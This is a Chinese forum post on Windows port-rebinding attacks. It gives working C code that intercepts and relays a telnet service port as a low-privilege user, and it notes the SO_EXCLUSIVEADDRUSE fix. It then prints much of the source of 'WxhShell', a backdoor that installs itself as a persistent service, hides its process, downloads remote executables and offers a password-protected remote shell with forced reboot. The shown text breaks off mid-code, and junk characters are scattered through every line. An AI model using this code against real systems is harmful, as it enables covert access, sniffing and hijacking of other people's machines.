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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7fN&Q~.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PPj6QJ]R0  
iZkW+5(  
  saddr.sin_family = AF_INET; cmr6,3_  
njwR~aL`|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  [A%e6  
O=#/DM;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &, Zz  
11@2;vw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 LjH&f 4mY  
}TX'Z?Lq  
  这意味着什么?意味着可以进行如下的攻击: . tH35/r  
k`2B9,z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 yZ?_q$4kEI  
k^dCX+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) d_W nK{  
f@;>M9)<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zZ+LisSs&  
}eDX8b8emA  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \HP,LH[P:  
xXY)KI N[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q,,fDBN  
6(<~1{ X%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]=86[A-2N  
UTK.tg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;qVEI/  
>;'1k'  
  #include ;@ll  
  #include m)[wZP*e  
  #include h@>rjeY@  
  #include    G5QgnxwP2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /nMqEHCyg  
  int main() '/yx_R K2?  
  { $ Op/5j  
  WORD wVersionRequested; {^$"/hj  
  DWORD ret; VQ,\O  
  WSADATA wsaData; WEV{C(u<k!  
  BOOL val; K}5 $;W#  
  SOCKADDR_IN saddr; vu.S>2Wv  
  SOCKADDR_IN scaddr; s!o<Pd yJK  
  int err; X$9D0;L  
  SOCKET s; E~Up\f  
  SOCKET sc; fssL'DD  
  int caddsize; l~6SR  
  HANDLE mt; sei!9+bZr  
  DWORD tid;   W}e[.iX;  
  wVersionRequested = MAKEWORD( 2, 2 ); kDpZnXP  
  err = WSAStartup( wVersionRequested, &wsaData ); 9 K /  
  if ( err != 0 ) { @qhg[= @  
  printf("error!WSAStartup failed!\n"); :jKXKY+T  
  return -1; : .w'gU_  
  } 5W]N]^v  
  saddr.sin_family = AF_INET; Ko]h r  
   8DS5<  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @n;YF5  
A_q3p\b  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ={i&F  
  saddr.sin_port = htons(23); ]MA)=' ~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z#E,96R  
  { 2,e|,N"zN  
  printf("error!socket failed!\n"); A[$wxdc  
  return -1; \FY De  
  } 9B;Sk]y  
  val = TRUE; owY_cDzrH  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h }%M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <ZvPtW  
  { !RUo:b+  
  printf("error!setsockopt failed!\n"); gMK3o8B/  
  return -1; S| -{wC%  
  } qF6%XKbh=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; e"H+sM26-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &fy8,}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .Zt/e>K&  
2u;fT{(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fu "z%h]   
  { \w_[tPz}  
  ret=GetLastError(); r~Ubgd ]U  
  printf("error!bind failed!\n"); rHdP4:n  
  return -1; +4p ;4/=  
  } C`_D{r  
  listen(s,2); ,Y5 4(>>%  
  while(1) Z6AU%3]  
  { qlT:9*&g  
  caddsize = sizeof(scaddr); `IRT w"  
  //接受连接请求 257;@;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h=y(2xA  
  if(sc!=INVALID_SOCKET) ;3}b&Z[N]  
  { n$0)gKN7  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,F9wc<V8  
  if(mt==NULL) ]G&\L~P  
  { )3\rp$]1  
  printf("Thread Creat Failed!\n"); #YVDOR{z  
  break; knZd}?I*  
  } B=/=U7T  
  } %LlKi5u]  
  CloseHandle(mt); 2}\sj'0&  
  } os ud  
  closesocket(s); &'2l_b  
  WSACleanup(); C4TD@  
  return 0; RXvcy<  
  }   (X'K)*G#  
  DWORD WINAPI ClientThread(LPVOID lpParam) k ZEy  
  { ,qh  
  SOCKET ss = (SOCKET)lpParam; ]@]"bF!Dn  
  SOCKET sc; [/^g) ^s:  
  unsigned char buf[4096]; fb=vO U  
  SOCKADDR_IN saddr; jo:p*Q "F  
  long num; gz:c_HJ  
  DWORD val; p)] ^>-L  
  DWORD ret; oYm"NDS_.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2uB26SEIl  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~%q e,  
  saddr.sin_family = AF_INET; ;yoq/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); > _) a7%  
  saddr.sin_port = htons(23); fP*C*4#X  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7En~~J3  
  { iKO~#9OF  
  printf("error!socket failed!\n"); |'(IWU  
  return -1; ~$ Yuxo  
  }  %tjEVQa  
  val = 100; )2\a5iH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R|yTUGY  
  { [)KfRk?};2  
  ret = GetLastError(); h<jIg$rA  
  return -1; -O6o^Dk  
  } }0*7bb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P=g+6-1  
  { 3 g!h4?^  
  ret = GetLastError(); RAa1KOxZX  
  return -1; Cq'r 'cBZ  
  } WV5R$IqY  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) svII =JB  
  { WocFID:b  
  printf("error!socket connect failed!\n"); q\G@Nn^  
  closesocket(sc); tp0*W _<4  
  closesocket(ss); D=+sD"<|  
  return -1; DtX{0p<T3  
  } NIGFu{S  
  while(1) _TiF}b!hi  
  { {643Dz<e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <aS1bQgaU  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pwQ."2x  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *0tNun 5=3  
  num = recv(ss,buf,4096,0); LPClE5  
  if(num>0) CK%W +";  
  send(sc,buf,num,0); l K%Hb=  
  else if(num==0) 3H2'HO  
  break; q9>w3 <  
  num = recv(sc,buf,4096,0); \wP$"Z}j  
  if(num>0) W*#/@/5  
  send(ss,buf,num,0); $$w 1%#F =  
  else if(num==0) f&J*(F*u  
  break; :JmNy <  
  } ) eV]M~K:  
  closesocket(ss); V"z0]DP5~  
  closesocket(sc); *HUqW}_r  
  return 0 ; h&P[9:LH  
  } b(F`$N@7C  
7(-<x@e  
c_ i;'  
========================================================== /nNHI34  
)ALcmC?!#  
下边附上一个代码,,WXhSHELL L!RLw4  
MH-,+-Eq  
========================================================== ]v@,>!Wn  
%vI]"a@  
#include "stdafx.h" [?A0{#5)8x  
8^~]Ym:  
#include <stdio.h> +a{>jzR  
#include <string.h> idQr^{  
#include <windows.h> Qoc-ZC"<6  
#include <winsock2.h> @,hvXl-G*  
#include <winsvc.h> "lm3o(Dk  
#include <urlmon.h> sj1x>  
k 'o?/  
#pragma comment (lib, "Ws2_32.lib") +Aq}BjD#  
#pragma comment (lib, "urlmon.lib") \4 DH&gZ[  
B7 T+a  
#define MAX_USER   100 // 最大客户端连接数 ! d(,t[cV  
#define BUF_SOCK   200 // sock buffer R[6&{&E:  
#define KEY_BUFF   255 // 输入 buffer fjf\/%  
pAYuOk9n  
#define REBOOT     0   // 重启 6K6ihR!d  
#define SHUTDOWN   1   // 关机 W/+0gh7`,(  
_F$?Z  
#define DEF_PORT   5000 // 监听端口 aO{k-44y  
59|Tmf(dS;  
#define REG_LEN     16   // 注册表键长度 is,_r(S  
#define SVC_LEN     80   // NT服务名长度 +Z+]Tqo  
.Q7z<Q  
// 从dll定义API :(Gg]Z9^8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :?zOLw?(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z`W$/tw"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  z>!b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -7u4f y{T  
9 HuE'(wQ  
// wxhshell配置信息 3>Yec6Hs  
struct WSCFG { #u>JCPz  
  int ws_port;         // 监听端口 8"? t6Z;5  
  char ws_passstr[REG_LEN]; // 口令 dS-l2 $n  
  int ws_autoins;       // 安装标记, 1=yes 0=no %NKf@If)  
  char ws_regname[REG_LEN]; // 注册表键名 a`}HFHm\2,  
  char ws_svcname[REG_LEN]; // 服务名 u(P D+Gz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vki3D'.7N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yZ K j>P1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 { Uh/ ~zu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >zhbOkR9c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h[Hw9$31  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N=(rl#<  
ibh!8"[  
}; 3 *ZE``  
C{4[7  
// default Wxhshell configuration Pr" 2d\  
struct WSCFG wscfg={DEF_PORT, dx|j,1e  
    "xuhuanlingzhe", ~qRP.bV%f  
    1,  'y1=Z  
    "Wxhshell", hW]:CIqk  
    "Wxhshell", ~G"5!,J  
            "WxhShell Service", r'"H8>UZ%  
    "Wrsky Windows CmdShell Service", Rb?6N  
    "Please Input Your Password: ", 1aKY+4/G  
  1, hH>t  
  "http://www.wrsky.com/wxhshell.exe", ^+I{*0{/[  
  "Wxhshell.exe" P)4SrqW_  
    }; Go8 m  
>Qr(#Bt)  
// 消息定义模块 \ 7jK6;R<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S'q (Qo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I;9>$?t[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (wkeo{lx  
char *msg_ws_ext="\n\rExit."; +eQg+@u  
char *msg_ws_end="\n\rQuit."; <a; <|Fm.  
char *msg_ws_boot="\n\rReboot..."; d=`hFwD9  
char *msg_ws_poff="\n\rShutdown..."; J'W6NitMr  
char *msg_ws_down="\n\rSave to "; }<m9w\pA  
wP29 xV"5  
char *msg_ws_err="\n\rErr!"; pwr,rAJ}$j  
char *msg_ws_ok="\n\rOK!"; ~m'PAC"Q$  
NvY%sx,  
char ExeFile[MAX_PATH]; C0J/FFBQ^  
int nUser = 0; T|[zk.8=E  
HANDLE handles[MAX_USER]; .}C pX  
int OsIsNt; A@4sb W_  
P`0}( '"U  
SERVICE_STATUS       serviceStatus; Xf(H_&K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N$i!25F`  
Dn1aaN6  
// 函数声明 d?)k<!fJk  
int Install(void); {FNmYneh?6  
int Uninstall(void); Y {a#2(xn  
int DownloadFile(char *sURL, SOCKET wsh); hX;JMQ915  
int Boot(int flag);  *Yj!f68  
void HideProc(void); `saDeur#X  
int GetOsVer(void); 'W(!N%u  
int Wxhshell(SOCKET wsl); Gf*|f"O  
void TalkWithClient(void *cs); ap,%)on^  
int CmdShell(SOCKET sock); Xy0*1$IS]  
int StartFromService(void); m`_s_#  
int StartWxhshell(LPSTR lpCmdLine); vr/*z euA  
F/}(FG<'>I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Q*&k6A"jx  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SA!P:Q?h  
 $I}7EI  
// 数据结构和表定义 vuN!7*d+  
SERVICE_TABLE_ENTRY DispatchTable[] = l1 Nr5PT  
{ U~H]w ,^  
{wscfg.ws_svcname, NTServiceMain}, re[v}cB  
{NULL, NULL} 20h+^R3{Z  
}; , !0-;H.Y  
H.-VfROi2  
// 自我安装 6)5Akyz4V  
int Install(void) `0)'&HbLY  
{ nymro[@O~  
  char svExeFile[MAX_PATH]; 'wA4}f  
  HKEY key; 4+?d0  
  strcpy(svExeFile,ExeFile); ZE393FnE  
ebv"`0K$  
// 如果是win9x系统,修改注册表设为自启动 #u]'3en  
if(!OsIsNt) { T*pcS'?'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cg#@JuwHa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EUGN`t-M  
  RegCloseKey(key); ';,Rq9-'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O> .gcLA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jc0Trs{Jf  
  RegCloseKey(key); q/qJkr^2  
  return 0; zfGS=@e]G  
    } LeEv']  
  } D^dos`L0b  
} ^t0Yh%V7  
else { jq_E{Dq1  
<?h,;]U  
// 如果是NT以上系统,安装为系统服务 /u&{=nU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n=_jmR1  
if (schSCManager!=0)  iup "P  
{ ^ s.necg0  
  SC_HANDLE schService = CreateService ;nx? 4f+6h  
  ( T>P[0`*)  
  schSCManager, x%]5Q/|Ur  
  wscfg.ws_svcname, Lkf}+aY  
  wscfg.ws_svcdisp, K3*8-Be  
  SERVICE_ALL_ACCESS, Thc"QIk&4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A,fPl R  
  SERVICE_AUTO_START, -mfdngp3  
  SERVICE_ERROR_NORMAL, <h"07.y  
  svExeFile, a]]>(Txc  
  NULL, V(#z{!  
  NULL, AhA4IOG`.  
  NULL, q\uzmOh  
  NULL, Ew,1*WK!  
  NULL xPp\OuwK  
  ); 0pW?v:!H  
  if (schService!=0) (U?*Z/  
  { Bj1{=Pvl  
  CloseServiceHandle(schService); j84g6;4Dv  
  CloseServiceHandle(schSCManager); S!oG|%VuB#  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N"k IQe*}1  
  strcat(svExeFile,wscfg.ws_svcname); u6#FG9W7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hW Va4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ud`!X#e~  
  RegCloseKey(key); {];8jdg/?  
  return 0; m,|)$R  
    } 'n$TJp|s  
  } #]vs*Sz  
  CloseServiceHandle(schSCManager); j-}WA"  
} v<u`wnt  
} e6y,)W"WW2  
^hyY,X  
return 1; @!np 0#  
} A8jj]J+  
Kh' 7N!  
// 自我卸载 Bsc&#  
int Uninstall(void) 2leTEs5aK`  
{ OF_g0Zu  
  HKEY key; zQ>|`0&8   
<n|ayxA)  
if(!OsIsNt) { %V;B{?>9zB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }j\_XaB  
  RegDeleteValue(key,wscfg.ws_regname); d!z}! :  
  RegCloseKey(key); ?nc:B]=pTY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]hHL[hoFC  
  RegDeleteValue(key,wscfg.ws_regname); SSH 1Ge5|  
  RegCloseKey(key); =bgu2#%Z  
  return 0; FbU98n+z  
  } \LbBK ~l-I  
} '2=$pw  
} ?BA~$|lfxu  
else { Hsl0|jy(/  
JIH6!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?y`we6~\1  
if (schSCManager!=0) m6 V L  
{ +J;T= p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;GF+0~5>  
  if (schService!=0) P;7 Y9}  
  { b>]MZhLJe  
  if(DeleteService(schService)!=0) { /UP1*L  
  CloseServiceHandle(schService); xk\n F0z  
  CloseServiceHandle(schSCManager); o-7,P RmKN  
  return 0; 2zN"*Wkn  
  } i[V\RKH*F  
  CloseServiceHandle(schService); tOT(!yz  
  } vOV$Hle  
  CloseServiceHandle(schSCManager); 'OjsV$_  
} DYej<T'?3  
} s"-gnW  
l1#F1q`^t  
return 1; ]mZN18#  
} j.O+e|kxU  
hg Pzx@  
// 从指定url下载文件 QTLGM-Z  
int DownloadFile(char *sURL, SOCKET wsh) q>5 K:5  
{ nd3n'b  
  HRESULT hr; !L?diR  
char seps[]= "/"; bZf}m=C!  
char *token; AR?1_]"=  
char *file; u !@(u!Qz  
char myURL[MAX_PATH]; RIV + _}R  
char myFILE[MAX_PATH]; 8lZB3p]X  
< ?{ic2j#  
strcpy(myURL,sURL); :ND e<6?u  
  token=strtok(myURL,seps); )1iqM]~;B  
  while(token!=NULL) e?yrx6  
  { J2avt  
    file=token; HY>zgf,0  
  token=strtok(NULL,seps); DU|>zO%  
  } ,.,spoV  
9kby-A4  
GetCurrentDirectory(MAX_PATH,myFILE); efX iZ  
strcat(myFILE, "\\"); ttfCiP$  
strcat(myFILE, file); YQN@;  
  send(wsh,myFILE,strlen(myFILE),0); ^+k~{F,)  
send(wsh,"...",3,0); >j6"\1E+Dz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k\<8h%  
  if(hr==S_OK) /Dj-@7.C/  
return 0; 0i4XS*vPv  
else  P0<)E  
return 1; wY xk[)&Y  
5Ei4$T  
} 6.6;oa4j  
ArVW2gL  
// 系统电源模块 @Pb%dS  
int Boot(int flag) U%V4@iz~\m  
{ )uRR!<"~  
  HANDLE hToken; PTP0 _|K  
  TOKEN_PRIVILEGES tkp; . ytxe!O  
0@>  
  if(OsIsNt) { 0u?Vn N<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rk8Cea  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); awU&{<,=g  
    tkp.PrivilegeCount = 1; 5a%i%+;N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ["0DXm%t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,{Ga7rH*   
if(flag==REBOOT) { XE($t2x,M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r8,'LZIz  
  return 0; w:h([q4X  
} q_86nvB<  
else { ,buo&DT{L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s)~Wcp'+M:  
  return 0; V\*J"ZP&  
} _jM+;=f  
  } [vn"r^P  
  else { KMP[Ledr  
if(flag==REBOOT) { w~ O)DhC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1k!$#1d<  
  return 0; XM~eocn  
} "Tnmn@  
else { S N ;1F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cpu|tK.t  
  return 0; xp%LXx j  
} @m+FAdA 0  
} ]zh6[0V7V  
y\XWg`X y  
return 1; WQBpU?O  
} f"Kl? IN8  
iJb-F*_y  
// win9x进程隐藏模块 9)J)r \  
void HideProc(void) nVoP:FHH  
{ cF}9ldc  
n0b{Jg *  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @<z#a9  
  if ( hKernel != NULL ) =~q Xzq  
  { ,~>u<Wc!S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rnQ9uNAu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UQO?hZ!y/.  
    FreeLibrary(hKernel); [m6%_3zV  
  } wpa^]l  
!yu-MpeG  
return; "#]V^Rzxh  
} K}8wCS F  
r<pt_Cd  
// 获取操作系统版本 B&?xq)%*#  
int GetOsVer(void) 15ImwQ  
{ @] 3`S  
  OSVERSIONINFO winfo; Idr|-s%l6'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /Y8{?  
  GetVersionEx(&winfo); `q+Ug  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 85ND 3F6q4  
  return 1; [-2Tj)P C  
  else vjd;*ORB  
  return 0; pXf5/u8&  
} |3=tF"h  
)]{&  
// 客户端句柄模块 Rip[  
int Wxhshell(SOCKET wsl) Vc&xXtm[v  
{ \&4)['4,  
  SOCKET wsh; L87=*_!B;  
  struct sockaddr_in client; ?}<Wmy2A  
  DWORD myID; fX}dQN~z  
"2GssBa  
  while(nUser<MAX_USER) J>^KQ  
{ ty b-VO  
  int nSize=sizeof(client); 4H hQzVM{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M (.Up  
  if(wsh==INVALID_SOCKET) return 1; *7K)J8kq  
!KLY*bt6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /^b=| +Do  
if(handles[nUser]==0) AUPTtc`#Y  
  closesocket(wsh); R![1\Yv&  
else -_fh=}.n+"  
  nUser++; +6\1 d5  
  } }bYk#6KX  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O],]\M{GL  
wsAijHjJI!  
  return 0; k[/`G5  
} rM)-$dZ  
CChCxB  
// 关闭 socket %$zX a%A  
void CloseIt(SOCKET wsh) \-RVPa8k  
{ ' O d_:]  
closesocket(wsh); #<gD@Jybu  
nUser--; sU;aA0kz  
ExitThread(0); 7=pJ)4;ZA  
} d1n*wVl  
|v= */e  
// 客户端请求句柄 at5=Zo[bP  
void TalkWithClient(void *cs) w[s}#Q  
{ 9Xeg &Z|!  
7A4_b8  
  SOCKET wsh=(SOCKET)cs; >l(|c9OWM  
  char pwd[SVC_LEN]; W3Dtt-)E  
  char cmd[KEY_BUFF]; Q5/BEUkC  
char chr[1]; dS~#Lzm  
int i,j; ]B9Ut&mF;  
uDsof?z  
  while (nUser < MAX_USER) { _kJW/3eE  
#~:@H&f790  
if(wscfg.ws_passstr) { S'%!KGVe  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SMbhJ}\O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uI+^8-HZ;  
  //ZeroMemory(pwd,KEY_BUFF); ^RE("'+  
      i=0; FAF+}  
  while(i<SVC_LEN) { ~{f[X3m^  
UN7J6$!Cx7  
  // 设置超时 ;8> TD&]{  
  fd_set FdRead; i")ucrf  
  struct timeval TimeOut; g;t>jgX  
  FD_ZERO(&FdRead); t.= 1<Ed  
  FD_SET(wsh,&FdRead); Nk&$b  
  TimeOut.tv_sec=8; 0Nq6>^ %  
  TimeOut.tv_usec=0; ~6O<5@k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SKrkB~%z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); br_D Orq|  
`=VN\W^&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A"R5Fd%6pc  
  pwd=chr[0]; I+_u?R)$  
  if(chr[0]==0xd || chr[0]==0xa) { K9+%rqC.|`  
  pwd=0; !%Qm{R  
  break; 2N[S*#~*e  
  } g=_@j`  
  i++; ?(P3ZTk?.  
    } d6;"zW|Ec  
QzX|c&&>u2  
  // 如果是非法用户,关闭 socket fKjUEMRK  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2'5%EQW;0y  
} ^E`SR6_cmj  
b$G &i'd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !;~6nYY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t +@UC+aW  
F)^:WWVc#  
while(1) { tv8}O([  
QeZK&^W  
  ZeroMemory(cmd,KEY_BUFF); ?5MOp  
S1oP_A[|  
      // 自动支持客户端 telnet标准   + 4*jO5EZ  
  j=0; ibIo1i//[  
  while(j<KEY_BUFF) { N)b.$aC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MW$ X4<*KD  
  cmd[j]=chr[0]; <u%&@G$F>  
  if(chr[0]==0xa || chr[0]==0xd) { "~^ #{q  
  cmd[j]=0; j`pX2S  
  break; 1Xj>kE:  
  } K|g+W t^tQ  
  j++; tj=l!  
    } v"N%w1`.e  
x=~$ik++  
  // 下载文件 |Xv]s61  
  if(strstr(cmd,"http://")) { %an&lcoX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E ) iEWc  
  if(DownloadFile(cmd,wsh)) SWrP0Qjc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `bx}!;{lx  
  else /3ty*LQT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5fqQ;r  
  } d2XS w>  
  else { c mI&R(  
m0zbG1OE  
    switch(cmd[0]) { -U#e  
  z.%K5vrO>  
  // 帮助 MX\v2["FoV  
  case '?': { [~#]p9|L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :kz"W ya.  
    break; qkk!1W  
  } "{F e  
  // 安装 Gl@}b\TB  
  case 'i': { +#a_Y  
    if(Install()) i{+W62k*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u|}p3-z|Y  
    else _cw~N p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -SGo E=  
    break; CV )v6f  
    } x'IYWo ]  
  // 卸载 N=[# "4I  
  case 'r': { *t3uj  
    if(Uninstall()) XzF-g*e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z;#]xCV  
    else :G\X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XD=p:Ezh  
    break; i,z^#b7JQ  
    } Y)oF;ko:  
  // 显示 wxhshell 所在路径 rM y(NAo_  
  case 'p': { -mur` tC  
    char svExeFile[MAX_PATH]; ?wpS  
    strcpy(svExeFile,"\n\r"); :,'yHVG\  
      strcat(svExeFile,ExeFile); 4ZAnq{nR4  
        send(wsh,svExeFile,strlen(svExeFile),0); HJ]9e  
    break; z&a>cjt_;  
    } f0 d*%  
  // 重启 Q]v><  
  case 'b': { TyG;BF|rwk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q6lC:cB<  
    if(Boot(REBOOT)) v:7_ZD6kR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T}55ZpS C&  
    else { &oXN*$/dlJ  
    closesocket(wsh); @cC@(M~Ru  
    ExitThread(0); _ a`J>~$  
    } A`nw(f_/  
    break; io1hUZ  
    } zlhHSyK  
  // 关机 zY^QZceq"  
  case 'd': { |_GESpoHH  
